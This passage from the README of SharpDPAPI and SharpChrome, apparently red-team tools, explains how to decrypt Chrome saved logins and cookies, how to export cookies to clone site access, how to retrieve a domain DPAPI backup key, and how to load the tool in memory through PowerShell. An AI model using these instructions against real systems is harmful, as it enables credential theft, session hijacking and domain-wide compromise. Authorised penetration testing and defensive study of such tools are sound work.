[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Backup key written to : key.pvk
SharpChrome Commands
logins
The logins command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values.
Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, or c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.
A specific Login Data file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied.
By default, logins are displayed in a csv format. This can be modified with /format:table for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with /showall.
If run from an elevated context, Login Data files for ALL users will be triaged, otherwise only Login Data files for the current user will be processed.
cookies
The cookies command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values.
Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, or c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys which are then used as a lookup deryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.
A specific Cookies file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied.
By default, cookies are displayed in a csv format. This can be modified with /format:table for table output, or /format:json for output importable by EditThisCookie. Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with /showall.
If run from an elevated context, Cookie files for ALL users will be triaged, otherwise only Cookie files for the current user will be processed.
The cookies command also has /cookie:REGEX and /url:REGEX arguments to only return cookie names or urls matching the supplied regex. This is useful with /format:json to easily clone access to specific sites.
backupkey
The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)
Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.
This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands.
By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk.
Compile Instructions
We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)
SharpDPAPI has been built against .NET 3.5 and is compatible with Visual Studio 2015 Community Edition. Simply open up the project .sln, choose "Release", and build.
Targeting other .NET versions
SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to Project -> SharpDPAPI Properties and change the "Target framework" to another version.
Sidenote: Running SharpDPAPI Through PowerShell
If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string):
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
The Main() method and any arguments can then be invoked as follows:
[SharpDPAPI.Program]::Main("machinemasterkeys")